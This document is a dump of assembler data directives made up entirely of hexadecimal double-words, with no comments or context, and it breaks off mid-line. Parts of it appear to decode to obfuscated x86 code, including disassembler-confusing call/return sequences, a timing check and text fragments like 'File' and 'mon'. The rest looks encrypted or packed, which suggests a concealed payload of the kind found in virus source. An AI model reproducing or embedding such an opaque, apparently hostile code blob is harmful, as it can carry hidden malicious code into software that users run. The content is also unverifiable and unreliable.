dd 1804h, 0C3524200h, 0B9092CF4h, 0EDBD8918h, 0FF06071Dh dd 715E195h, 96B26006h, 1DA19D8Bh, 0B610607h, 0F840FC0h dd 0E9000000h, 40Fh, 0A219D29h, 0BA660607h, 7868F3D3h dd 51124F9Dh, 11E8h, 62FF1200h, 0CBCBD5D1h, 86D70FB1h dd 9C3E22CBh, 0DE9D12Ch, 0E5000000h, 7E04E382h, 0EBE97E6h dd 5DD68F33h, 34815B5Bh, 4F9C5424h, 2840F12h, 8A000000h dd 6995FFEAh, 0BA06071Bh, 65B31A6Ch, 0C9A0B58Dh, 0BA66060Dh dd 0BE829BFh, 4B000000h, 5AAE556Dh, 9C5AC7ADh, 0C75FE668h dd 34383106h, 56006A36h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0D74CE6E5h, 8B93A1FDh, 71FA99Dh dd 446C706h, 31342D37h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 66C35141h, 73A8D9Ah, 4D9503DAh, 0C706071Dh dd 846h, 81660000h, 6AEC16D7h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 5DC38C61h dd 0A6A32B77h, 0BF0FF75Bh, 0A0858DD9h, 6A060DC9h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 8BE9C355h, 71FB595h, 51958906h, 50060716h, 2830Fh, 0D88B0000h dd 89240489h, 721058Dh, 0E195FF06h, 0F060715h, 0C00BC9BFh dd 7E840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 89788FC3h, 3D9D8BAFh, 8B06071Ch dd 718959Dh, 0CE85306h, 92000000h, 0FE2D4DE7h, 259B1523h dd 0E8E2D1D9h, 0Eh, 8E59BA19h, 0F52872CAh, 945ACF78h, 5A5A042Fh dd 265E959h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 26D26C3h, 77229A4Dh, 0FA8B6626h dd 4E8h, 12C00h, 48F0F00h, 66000000h, 50AE86BFh, 12795FBBh dd 24448B14h, 50008B04h, 28E0F52h, 8B000000h, 66310FCFh dd 5A3979BBh, 24448958h, 0EE96004h, 49000000h, 39610A95h dd 0BA82F257h, 7B02DB74h, 38D0F2Fh, 66000000h, 5861FA8Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 23C35646h dd 6F34B768h, 87ED80BDh, 1B6995FFh, 13E90607h, 3D000000h dd 0B2D52E17h, 4338EAE0h, 0F3B51D78h, 0F511DF2Bh, 0B58D52C7h dd 60DC9A0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 5BC35545h, 0EDCEEAE6h, 6C7FCCBh, 656C6946h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7BC35242h, 0E872970Ah dd 0Ch, 8E7EDC37h, 20DEEC21h, 951F952Ch, 2F71958Bh, 0E95B0607h dd 0Fh, 46023C01h, 0DBF59D61h, 0E4244C2Dh, 0C7B112C6h dd 6F6D0446h, 0E980636Eh, 846C78Bh, 7373616Ch, 9E98501h dd 46C70607h, 0Ch, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 6A6605AAh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 14E8CFh, 0BAFC0000h, 0E05C22Eh, 2F03A488h, 0AC87DE3Dh dd 8E4E7A5Dh, 8E99371h, 79000000h, 82AD57EAh, 597F40DBh dd 0C9A0858Dh, 8166060Dh, 506A1DC2h, 0C68B6660h, 14E9h dd 6E333F00h, 8FE03DF1h, 54FDB0BDh, 3C6DD081h, 0BC30F84Eh dd 4896112h, 0FFADB124h, 715E195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0D6BEAFF7h dd 5648683Eh, 0C00BFC81h, 27840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 6A111AC3h dd 0E9EF32E0h, 27h, 0F9EAE9FCh, 6AFFFFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0B9C023C3h dd 8D3042D1h, 76EC1B5h, 13E906h, 0FD370000h, 22AC3641h dd 0B1337849h, 2C6962E7h, 37F50ACh, 0B898h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0C7C3C3h, 5B2631C3h, 0E6FFF8B5h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0EC35242h, 9D8BF157h, 6071971h dd 0FE8C18Bh, 0A0000000h, 0DC86DEDAh, 91A8CCFFh, 0CCFB333Ah dd 0F0817C64h, 1F58784Eh, 16860F5Ah, 57000000h, 0EE8h dd 426A6B00h, 0CBAF4A1Bh, 33FEBD05h, 5928CC7Fh dd 34C2815Fh, 66000074h, 183AD181h, 1CD668h, 0CDBD3300h dd 5E060709h, 1581858Bh, 32FF0607h, 5BC38B66h, 1E799D01h dd 0F3810607h, 632147C2h, 0F381EB8Ah, 3BC80C33h, 0D6D08166h dd 83EB81BEh, 66748671h, 0FF0DF181h, 2CB81A89h, 81399EA5h dd 0A592CEEAh, 0BE86034h, 4D000000h, 2A41A9C6h, 0F620C8D9h dd 958B702Bh, 60703D9h, 85958959h, 6106071Ch, 92CAC281h dd 820F34A5h, 0Ch, 6810Fh, 858B0000h, 607069Dh, 0F01EE83h dd 0FFFF8985h, 860F60FFh, 6, 3758D8Bh, 7E90607h, 32000000h dd 16B9EF99h, 0FE614B99h, 0B2DA3CAh, 4FBA00A8h, 0B32EE8Ah dd 0EAD5ABA8h, 0B334675h, 4FBB0EA8h, 0AE5DBA8Ah, 4FBBFB57h dd 0B33B68Ah, 0EAD5ABA8h, 0B307975h, 4FB829A8h, 0B30FB8Ah dd 4FB8ABA8h, 0B317D8Ah, 0EAD5ABA8h, 0D42F2575h, 13278725h dd 83C6C003h, 90A752A5h, 57AF9671h, 0C742D121h, 0D42F4387h dd 132780FAh, 83CEC003h, 90A752A5h, 57AF9120h, 0C75ED121h dd 0D42F4387h, 132781A9h, 83DAC003h, 90A752A5h, 57AF90DCh dd 0C7AAD121h, 0D42F4387h, 13278132h, 8326C003h, 90A752A5h dd 57AF9069h, 0C7A6D121h, 0D42F4387h, 1327828Ch, 8332C003h dd 90A752A5h, 57AF93EFh, 0C7BED121h, 0D42F4387h, 1327820Eh dd 833AC003h, 90A752A5h, 57AF9355h, 0C7B6D121h, 0B8C34387h dd 152A5012h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 52C0D5F2h dd 96A44859h, 152AA8EDh, 2429458Ah, 96E367A0h, 0D5ADBAB4h dd 152A54A1h, 5564C6CBh, 0EAD5BA41h, 0AE63CE75h, 121A593Ah dd 5342848Ch, 0EA2211ABh, 245D55FFh, 9C3AABA4h, 0DAC3B9CFh dd 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh, 0D2262923h dd 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h, 0DB2FEE27h dd 1327F838h, 1129475h, 85A0D902h, 0AEA44826h, 51A1EC79h dd 0DC0941AEh, 1886C422h, 3773BA8Ch, 732ADF10h, 0C128C821h dd 0EA2C5904h, 152BFD5Bh, 9881508Ch, 5C0ED500h, 0A5FBABAEh dd 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh dd 0FD4AA86Ch, 51A2458Ah, 12C0D5F2h, 0DAA4485Eh, 68A15CDDh dd 0ADE78286h, 152A54A8h, 0F830BACCh, 9E2C53A3h, 0FC69CE52h dd 0A5B99783h, 0FA31EFE2h, 85A0D9F9h, 0AEA44826h, 949A0D79h dd 551A2320h, 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h dd 402A5C6Ah, 9521A901h, 15C23454h, 0BA2458Ah, 0C174BE29h dd 24294387h, 1957DFA0h, 515E004Dh, 532A54A8h, 5A0BD775h dd 0CDA152AFh, 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h, 85A0D9F9h dd 0AEA44826h, 949A0D79h, 651A2320h, 8481328Ch, 5DDF6E21h dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h dd 5DDFCE82h, 15D6116Fh, 0FDA2458Ah, 1DC9953Bh, 919197B9h dd 38F2DE04h, 51A2454Ah, 1AD5A828h, 51A25E0Eh, 1523EDA8h dd 0A055458Ah, 9025862Dh, 51A24586h, 7332A328h, 37AA8E4Bh dd 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh, 9E7F54A0h dd 0AD66C666h, 1D5FDFC8h, 96AE3801h, 152AA8EDh, 0C20E458Ah dd 2622B769h, 0FD627658h, 0D5078C22h, 0D1A2458Ah, 9125AB54h dd 51A24593h, 152A5D11h, 0D453B28Ah, 1FAF5B7Ah, 0E0A2458Ah dd 93E25610h, 9191EF4Bh, 19577F03h, 305E3803h, 0DCD61123h dd 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh dd 0B92A54A8h, 0B2229D00h, 85E1D4A7h, 0DC088600h, 1886C422h dd 0E173BA8Ch, 9FA7FEF8h, 57AFE91Ah, 0D6A08557h, 5DDF6E20h dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h dd 5DDFCE82h, 15D6116Fh, 0E9A2458Ah, 152A54AFh, 61AFD775h dd 452652AFh, 0C128C820h, 0EA2C5904h, 0FB2BF55Bh, 3186949Bh dd 59622E85h, 0A58050ACh, 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh dd 15229661h, 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh, 0E96F93A4h dd 51A2458Ah, 87D5FE04h, 57A54E23h, 17868C23h, 0DB2FEF49h dd 1327F838h, 0E9C49475h, 0BE4CBD28h, 7A088600h, 68A358D5h dd 14292476h, 1DE89D54h, 0BD29108Ah, 75D6902Bh, 0DAAA3001h dd 50ED58D5h, 51A24576h, 0EA80F8A8h, 56A9EC18h, 0B9E2DFAEh dd 0DC088558h, 1886C432h, 3771BA8Ch, 73E39410h, 0FB63CF21h dd 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h, 0E9EED744h dd 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0BF8654A8h, 5A0BD775h dd 0DDA152AFh, 0FB637726h, 0B9BACE25h, 825D4387h, 0E4AAECCEh dd 9028EEECh, 19577F02h, 305E3803h, 0DCD61123h, 4A24D48h dd 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh, 732A54A8h dd 376B7732h, 85B0D903h, 0AEA44826h, 9592327Bh, 0FD09234Bh dd 6801FE04h, 0ADDFCC86h, 0E96FDFC9h, 51AA8743h, 96C6DFFDh dd 0DAC2B94Eh, 68A15CDDh, 0ADE78286h, 152A54A8h, 0B824FDECh dd 8FA7FFCEh, 57AFE91Ah, 0A09A8757h, 0FB0E0320h, 0B9BACE25h dd 825D4387h, 0D8ACECCEh, 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh dd 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 3AC0D5F2h dd 96A4485Dh, 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h dd 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch dd 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah dd 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h, 0C74ECE25h dd 0DCF14387h, 18F96F32h, 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah dd 60D558DDh, 2538C882h, 462C597Ah, 8299DF07h, 0C6D552A5h dd 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh, 57AF970Ah dd 2EB0D9FBh, 0AEA44859h, 0E96FDD7Bh, 51A25863h, 195FABA8h dd 0DCAA3075h, 18F8D832h, 0CB2F168Ch, 13278793h, 142B9675h dd 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 0E9000030h dd 0B0h, 438F2DDAh, 499523E5h, 4E9A22EBh, 4E9A44F0h, 4F9B29F0h dd 3C034465h, 460E6CB8h, 501674C0h, 551876C2h, 8D087BC7h dd 1B07FBEh, 1D01E0F0h, 0C17443BEh, 1AF60C67h, 0A3F3CD53h dd 39E38FEDh, 1AD0B86h, 87E5A55Bh, 58B631DBh, 4500690h dd 0C670935h, 20226DF6h, 0FD209B1h, 4C636334h, 3908BE72h dd 9F312AEh, 0B1FBD122h, 38E09h, 4DAA0000h, 8E2EDB69h dd 2EBA7DDBh, 0C9571D7Bh, 66F0B816h, 28E55B3h, 0A62AF14Fh dd 43E995F3h, 0E3693290h, 8210D230h, 0FF687ECFh, 0E9060DD7h dd 0FFF9A3E1h, 6C9C7E7Ah, 11D9E5B9h, 0A8323B2Fh, 0DD899B8h dd 0EBC50306h, 0B507404h, 0DA9E97Bh, 0C3680000h, 0E9060DDAh dd 0FFF9A3B9h, 0DDBDD68h, 0A3AFE906h, 0D568FFF9h, 0E9060DDCh dd 0FFF9A3A5h, 0DDD5868h, 0A39BE906h, 0B768FFF9h, 0E9060DE0h dd 0FFF9A391h, 0DE3BB68h, 0A387E906h, 0C568FFF9h, 0E9060DE4h dd 0FFF9A37Dh, 4B9735E2h, 519D2BEDh, 56A22AF3h, 56A24CF8h dd 57A331F8h, 440B4C6Dh, 4E1674C0h, 581E7CC8h, 5D207ECAh dd 951083CFh, 1BE77C6h, 2509E8F0h, 0DD9014DBh, 0DF2BB97Fh dd 1F9ACEF0h, 1373F850h, 4AFD4DFCh, 0B6CB47Bh, 0B78F32F0h dd 0CA3626E8h, 4A106E99h, 388306BCh, 9F000000h, 79F4744Ah dd 4CDAA0FEh, 3FEB4999h, 0E49AEA9Dh, 1369C315h, 510454FCh dd 0B66BF82h, 0D25C24F0h, 7715C11Fh, 91A94CC4h, 0CC660952h dd 0CA2FFDBFh, 73D99h, 0E3590000h, 8E1h, 6118DBFFh, 0C67A392h dd 1C6CBCF6h, 91480B69h, 0C6773C2h dd 4C9CECF6h, 0BBAD1100h, 6A3F7140h, 2A88FC13h, 53E2B162h dd 0CF00B65h, 22F16CBCh, 0F00B6513h, 0F9ACFC4Ch, 0B65072Ah dd 0E43EE1F0h, 0A985EBCh, 2CF2B454h, 363299CAh, 4E000000h dd 79F4744Ah, 13752AAAh, 8857D2FCh, 0F00B6AB5h, 0CAA45AAAh dd 49F8C77Ah, 9AF00B6Ah, 3A984BD1h, 5E3BEE74h, 1B6463BBh dd 0FD1DE78h, 4F99CA3Ch, 109h, 7E18DB6Bh, 26D929B7h, 0F87301C8h dd 0F086A535h, 0D19AA5E2h, 9245FB4Bh, 30E37134h, 35810FD2h dd 0C88FB66h, 2CE5A8F6h, 0C87DE5Dh, 0DF2F7FF6h, 1B1AE964h dd 44F60C87h, 0B21BDF81h, 89D98225h, 0AE0C87D3h, 5CAC5FE5h dd 0F78548A6h, 0FF695544h, 0D85E2684h, 0BCD8A722h, 70FC1324h dd 11C44A12h, 0C47746C1h, 99F00BEBh, 69B99349h, 0D8902E1Dh dd 9ECB8E5Dh, 5DBBFA11h, 0C5C0F95h, 0B12C7C56h, 41D46736h dd 3989F602h, 0E3AA0883h, 0ECB3115Dh, 0C010AE5Ah, 0CD575261h dd 2D8336B4h, 0AFEh, 0FF4BF19Eh, 551DFA1h, 0A56DEA7h, 125E00ACh dd 1B67EDB4h, 10D71031h, 12DA3884h, 1CE2408Ch, 29EC4A96h dd 61DC4F9Bh, 1BDA392h, 0F9DDBCF0h, 751D14DBh, 0F3A009Eh dd 69E43080h, 0CA1C1FEEh, 0F6BDF60Ch, 8D67B76Ah, 8BDB692Fh dd 1AB477D5h, 0CB1BCE54h, 6B1EAA6Dh, 47FCB1Bh, 0DA622B89h dd 0CCA280Bh, 2FE535F6h, 0F4744A4Bh, 0CF551B79h, 69F7BE1Ch dd 601666B6h, 430C6AE5h, 0A03403B9h, 0FDFC1375h, 42BFAADh dd 0E2F00B6Ah, 0B9470967h, 5D00B606h, 3BF4B6C5h, 0C43499CAh dd 50000000h, 0D98C18DBh, 7D30B47Bh, 43DBA402h, 0EBA1F17Bh dd 0C6C351Ch, 8D1BDEF6h, 75C89712h, 0EAF60C63h, 3A98E49Ah dd 0BB36E977h, 5C0F955Dh, 5767560Ch, 0ADC79611h, 61FC139Ch dd 532417E6h, 0E939F00Bh, 0BD095933h, 0FD78F0CEh, 0D15B2482h dd 4918CE1Eh, 0FA113B9Dh, 0BD1B96E6h, 0A31E6AF6h, 0A72160E0h dd 802BAE6Ch, 0F4BF8242h, 0A200B607h, 0C7F655DBh, 0C3B4CCC6h dd 9E4BA10h, 0BB80000h, 0F5B71561h, 0F4BD1B67h, 1AC62470h dd 3CA2874h, 2647317Dh, 46921EE5h, 4A9620E8h, 54A026ECh dd 59A533F6h, 999C6BE6h, 0C6F001BCh, 14DB03E7h, 23E64490h dd 7E31DB87h, 7BCB5920h, 67023100h, 0B5BF60Ch, 0DB8B6FBBh dd 0A3926118h, 0BCF60C67h, 26A11C6Ch, 0BF721CC8h, 679DA06Fh dd 64C2F60Ch, 1565189Eh, 11BB67C5h, 0A5580E5Eh, 7DF88447h dd 67003302h, 16D9F60Ch, 0AA60B08Ah, 0C24A55Eh, 6C3BB6B2h dd 0FC137D28h, 0C64E1775h, 6AC99813h, 0F3F00B72h, 4E0353A3h dd 0D68D937Fh, 4DF95799h, 0B40AF9AFh, 60BE39B4h, 89580E98h dd 53D1A1E3h, 0CE49FC4Ch, 5EB18453h, 5EAE5FC9h, 6305B9A8h dd 0E10A19E8h, 0FD255D3h, 7A9358C4h, 0DA9027h, 0A154DAA2h dd 0B860151h, 0AD60E4ADh, 8649A75Dh, 8D50AEFAh, 0EFA22EF1h dd 0D7F04F9Fh, 0AF050C17h, 8ECA6FCh, 3B00000h, 0EDAF0D59h dd 0ECB5135Fh, 12BE1C68h, 0FBC2206Ch, 1E3F2975h, 3E8A16DDh dd 428E18E0h, 4C981EE4h, 519D2BEEh, 0A19463DEh, 0BEF001BBh dd 43BEFBDFh, 0C67C174h, 984E9EF6h, 36E9773Ah, 76F17747h dd 139A25A7h, 0CF4A9AFCh, 0D925AB71h, 7C2FB57Bh, 0B558EADh dd 4557DAF0h, 0D3EBF00Bh, 0F6BC1A95h, 703FBA70h, 0FA145C54h dd 3BB669B9h, 0DB8E1ADDh, 0B477D58Bh, 4908C928h, 0E99CB4DBh dd 86993h, 0E6863300h, 0EC7A3C9Ah, 0F37942A0h, 0FF9D49A7h dd 28E55B3h, 72ABCCB6h, 7BD925ABh, 7FDD29B3h, 81DF2BB9h dd 73E632BEh, 0BA0A29F8h, 7453F001h, 9860BE90h, 5569580Eh dd 64D59813h, 424AFA5h, 0E6B530E6h, 0FC13C2CEh, 0A11CCF1Fh dd 3BF17B43h, 418D1BDDh, 13A168C6h, 0FC5A1060h, 0AF9AC3Ah dd 703FBACEh, 0F00BC205h, 0D3671A6Ah, 9CB1630h, 0D1602F7Bh dd 71F00BCDh, 48A62167h, 0C13CF29Ch, 0BC2A7F2h, 54A0F0F0h dd 0F3A634F6h, 0BC20524h, 3D15B8F0h, 1460EEB0h, 0EB66F4B6h dd 8A3DCB8Dh, 0CDFD400Fh, 1262F00Bh, 8A590CC2h, 0F00BC217h dd 0D88B19DCh, 0F5BDCE7Ah, 0D72A406Bh, 71EDA0F0h, 0E37774CEh dd 19DBE640h, 88503F8Bh, 0AC0A8500h, 0D6A55BE9h, 0F00BA16Ah dd 29F8ABFBh, 6C6A0AAFh, 0C4930E89h, 846AC571h, 45E89EEEh dd 0CCDC9EEDh, 0C6240629h, 0A81B0304h, 9E9CD85Ah, 0A715984Eh dd 31000001h, 0F9D60BEh, 14546A59h, 7D62CA99h, 50CBFC13h dd 0B72B281h, 41E8ABF0h, 0F2813680h, 6AE53585h, 6FBB490Ch dd 0FC24E11h, 54DB5F40h, 4DAB267Bh, 0D79FFD8Bh, 944A9A4Dh dd 0C98C59F1h, 0CE91EF3Bh, 0A669C742h, 4A014BA7h, 2979B2B5h dd 7D1C073h, 2BD73581h, 0AD70CE81h, 0FA58D31Fh, 9CFAAD33h dd 49994CDAh, 22E543F9h, 1314E396h, 0CAE9D690h, 2AA50F27h dd 0C75FD85Bh, 7F358505h, 18C45E21h, 2373C376h, 4269E5A8h dd 0D3532FACh, 0B073D11Dh, 56827124h, 55E8B732h, 6905C736h dd 361C1FEEh, 0D1A005C7h, 5C73662h, 81D1ABFBh, 55A1F1CBh dd 0AA7930F7h, 5C7368Bh, 813484D4h, 48174692h, 5C736F5h dd 4FCA1A6Ah, 363605D4h, 0DCA305C7h, 5D207E58h, 7CCC1CCFh dd 0BD7C4BC6h, 905C736h, 8B4EE8ABh, 1DF7ADFDh, 602381CDh dd 0E3A621D4h, 56F08D9Dh, 0A0FEB496h, 0E25120D9h, 7B05C7E5h dd 9428DB2Bh, 6CCF9E19h, 0F105C7E5h, 0EE48EBA1h, 489420E3h dd 1E9927EAh, 0E561D4A3h, 0AEFE05C7h, 825645F8h, 81BC8B06h dd 0EE05C7EAh, 31F4529Eh, 9245D395h, 0E13FF242h, 36BE871Bh dd 14B733E6h, 60ECAF3Ah, 65F3B614h, 0C27437B2h, 0EA783ABDh dd 0F454F627h, 8B41CF96h, 0D14C3C9Ch, 0C70ACF02h, 73399705h dd 34EA3AEDh, 60BE0A5Ah, 0DE590C9Ah, 7D30BE80h, 5088772Dh dd 8CDC622Ah, 63F1B311h, 2FAA60B0h, 0C70A2D60h, 0C7429205h dd 470EA069h, 66B669B9h, 8BE964B0h, 128D40C4h, 0C705F043h dd 0CD1D6D05h, 18DB3317h, 1E4E118Ch, 1D00694Ah, 819F3F13h dd 249366BEh, 49A7226Eh, 5645FB81h, 3706D568h, 28F60C46h dd 2E7E04CAh, 6DE863DEh, 0C469F9Eh, 0BA70C0F6h, 13B12DEBh dd 0AF2A7AFCh, 870DD634h, 0B4AD73D1h, 8FBEE7D1h, 0AFFB4BDFh dd 0D06B7134h, 5DFE0A9Eh, 40C120B6h, 0B60625h, 0A356DCA2h dd 8E500AB4h, 0EFA230F2h, 4C9C4F9Fh, 0A80681FCh, 51A154E2h dd 0C1D8CC9Bh, 0D525FA14h, 51E4A722h, 94FB9E70h, 56A62AF1h dd 0FC6ED1A0h, 0DCE2F60Ch, 0FCA39261h, 6CBCF60Ch, 883CF5A9h dd 0E9394D91h, 14059F6Eh, 1A6AFC13h, 0BA460967h, 0D401805Bh dd 0F6518AEh, 50Ah, 0FB47E592h, 14DDB9Dh, 652DAA3h, 652FCA8h dd 753E1A8h, 0F4BBFC1Dh, 0FEC62470h, 8CE2C78h, 0DD02E7Ah dd 45C0337Fh, 187C776h, 0D5B998F0h, 79F4744Ah, 139AD6AAh dd 54CF1FFCh, 9BA6F891h, 1BD1CD0Fh, 6C979968h, 7A3CF00Bh dd 12DB39ECh, 0BC5FD78Ah, 791C6562h, 3610D2A1h, 0AB5099CAh dd 6C000000h, 0AB460BEh, 686A8554h, 0EA65F60Ch, 883BC98Ch dd 8EDE642Ah, 2FF250D8h, 716655A1h, 0DD79A15h, 5DEBAD78h dd 0CE94089Ah, 0C4229D18h, 15B763FBh, 5400FC5h, 6AF60CC2h dd 4609671Ah, 857A3247h, 0C81834D2h, 3C4A8D7Ch, 3BBF2C1h dd 0F873F60Ch, 0C0C0A29h, 4D0353F6h, 12702373h, 0E846C14Fh dd 96E29826h, 5C2B30A7h, 0F60C0CD9h, 6BE63686h, 0C03759Ch dd 0ADFA2F6h, 0BE095D88h, 8A90C85Ch, 0D9852FC7h, 0FD5BD689h dd 0AAFAAD3Bh, 1C1A25F4h, 0EE91F60Ch, 0A7DFF854h dd 93325D2Ch, 563F60Ch, 1A66B642h, 0BCC4h, 60BEE000h, 0D5D109Eh dd 4566857h, 0B101B442h, 0BD17E661h, 12FC137Eh, 2C8447C2h dd 918D6B48h, 2C8A3DF3h, 9F8EDA64h, 0F07C3F1Bh, 229DED3Dh dd 0EF8349A7h, 9A4D9D27h, 72C5944Ah, 0E3F00B6Bh, 2D11E093h dd 17F00B6Bh, 0BCDDA74h, 4B8DBC1Eh, 69h, 79250DD0h, 4450C670h dd 0FBBEAA8Eh, 283B06ECh, 750E772Fh, 5B36B97Ch, 0EC9F25EEh dd 0A7964C9Ch, 0BDA5513h, 0F60C2228h, 0D432E535h, 0A907820Ch dd 5CAC5FFDh, 4F6B5AA6h, 0D0CF9E19h, 25F60C2Dh, 49A722D5h dd 7A49FF9Dh, 0F60CE2B7h, 0C1EB43E6h, 62C47746h, 4999F60Ch dd 5216A493h, 6D8908D7h, 0A0FEF60Ch, 0B0FC4CDAh, 8C18DBCCh dd 1EB87BD9h, 2E7ACA58h, 38CEF0B3h, 0C6F000B9h, 0CB9D2110h dd 0A44F8150h, 3DB8FC13h, 0BABCF6Eh, 461590F0h, 0F00BABF7h dd 78C81868h, 37843AFDh, 0A42AE6D7h, 0C56C3BEEh, 0EF00B02h dd 0AC0ABD4Bh, 59A95CEAh, 0F7AA32FBh, 8542DC7Fh, 0F281993Ch dd 99CA9030h, 4270h, 60BE8C00h, 84480B99h, 0E63CD309h dd 952918CEh, 0B8958D3h, 94FC13E1h, 7FC29144h, 79F00BFEh dd 6D2F7CD6h, 0B599CAC8h, 8C079557h, 0BC27EBDh, 0D98FDFF0h dd 0F156h, 0FC18DB00h, 6E7B9BBFh, 0DBE3C77Dh, 6A51918h dd 976573B8h, 6F369447h, 13150CD3h, 3E13E0Bh, 44A255A5h dd 0EE3EF17Bh, 3D9B4E9Eh, 41F4C37Ah, 1EF60C5Fh, 6DCB7ECEh dd 3D21EAAh, 0F60C541Ch, 0E6A84205h, 555A558h, 0C985BB9h dd 14546A59h, 0B70ECA99h, 7BF6FC13h, 0B7889ACh, 0D086D6F0h dd 0B02BA6F6h, 35048A52h, 0F00B7806h, 2B440757h, 0DE1C6C14h dd 0EDDC28DEh, 4D1C97D1h, 0FA11CF11h, 34AF2A7Ah, 104BEAB9h dd 0C414F602h, 21046F5h, 11C717F6h, 0E3713896h, 0EE723997h dd 0CD06568Fh, 0E93FF2B4h, 206h, 0F743E996h, 0FD49D799h dd 24ED69Fh, 0A56F8A4h, 135FE5ACh, 8CF0829h, 0AD2307Ch dd 14DA3884h, 21E4428Eh, 59D44793h, 184AB8Ah, 0F1D5B4F0h dd 449014DBh, 1AA26BC9h, 3611767h, 0BE39B440h, 0C674CEFh dd 0BC111F6h, 744ADBBFh, 2AAA79F4h, 0D2FC1375h, 7528AE74h dd 45956F25h, 6A7CC392h, 0A265F00Bh, 3D056316h, 0E58804B7h dd 0A2458E4Dh, 3C39FB88h, 0CE7999CAh, 95000000h, 0B57E18DBh dd 0CE2CDF2Fh, 0F7C67907h, 0F60C6C68h, 6FEA7639h, 0DC34911h dd 6A063C1h, 3CFFB240h, 0D2F705A8h, 98E838F2h, 0A0C8F6E5h dd 23825625h, 1472FC13h, 330DC351h, 410A68E3h, 0BE8D08BBh dd 0F00BEC7Fh, 8A4090E0h, 0F96F4F3Eh, 84D0AF7Eh, 0D525FA11h dd 6748975Ah, 32B58857h, 5AAAF602h, 78E15297h, 6ECC47C2h dd 0B1A3AAABh, 95A8F5F4h, 7F429245h, 9AED279Ah, 4CAA6005h dd 55B3FF85h, 4CA3028Eh, 0E4B4CCCAh, 0FCDB31h, 0F3A00000h dd 0DD9FFD49h, 0DCA5034Fh, 2AE0C58h, 0EBB2105Ch, 0E2F1965h dd 2E7A06CDh, 327E08D0h, 3C880ED4h, 418D1BDEh, 0B18453CEh dd 0AEF00183h, 14DBEBCFh, 23E64490h, 7C28BE87h, 0E63282D2h dd 8C18DB02h, 3D005ED9h, 58B51AFh, 0A22EF14Fh, 7C00C927h dd 77C379C9h, 0B7323688h, 1A4001E8h, 975AD5FCh, 0AE647C31h dd 0D6653477h, 87F00121h, 57A78137h, 828346A4h, 0BA8361B0h dd 54A0F06Eh, 0F2A533F6h, 1E939723h, 55B32E75h, 0A84B018Fh dd 0F480438Eh, 54B22DA8h, 332018Bh, 5C8D075Ch, 35F8560Ch dd 0B679F4A7h, 0F2522841h, 84B32569h, 6FFEABBEh, 66D5A41Fh dd 0F78D075Eh, 0E793F1A7h, 83FE9245h, 0F944AEC0h, 8339E773h dd 0B87B46E0h, 0D64C1EB9h, 54C38614h, 0B53F0849h, 1262B202h dd 17A568C6h, 0A151D99Ch, 781E1DECh, 0EF3F8D07h, 0C4FC3E2Ch dd 3055B0Eh, 21000000h, 2EDB694Dh, 0BA7DDB8Eh, 571D7B2Eh dd 0F0B816C9h, 8E55B366h, 2AF14F02h, 0E995F3A6h, 69329043h dd 10D230E3h, 687ECF82h, 2F07h, 53243C89h, 0C381E389h dd 4, 8704EB83h, 895C241Ch, 4368242Ch, 8900000Ch, 0B951243Ch dd 72EB0C40h, 0F8E547BDh, 86ED8178h, 29473800h, 86C581CDh dd 59473800h, 8904EC83h, 4832424h, 505F0424h, 0BA52E889h dd 8, 289FA01h, 34FF585Ah, 0C4835F24h, 242C8B04h, 81E18951h dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFF99625h, 37595516h dd 0E63A629Eh, 0B8747FEBh, 60DE5E6h, 0E0FFC503h, 4EF22DE3h dd 7235191Bh, 1E111FB5h, 534699A1h, 6AA2A7DBh, 3A6DD339h dd 65EA3D79h, 0CE6D4D0h, 3AFBDC75h, 4410176Fh, 8371234h dd 3D101247h, 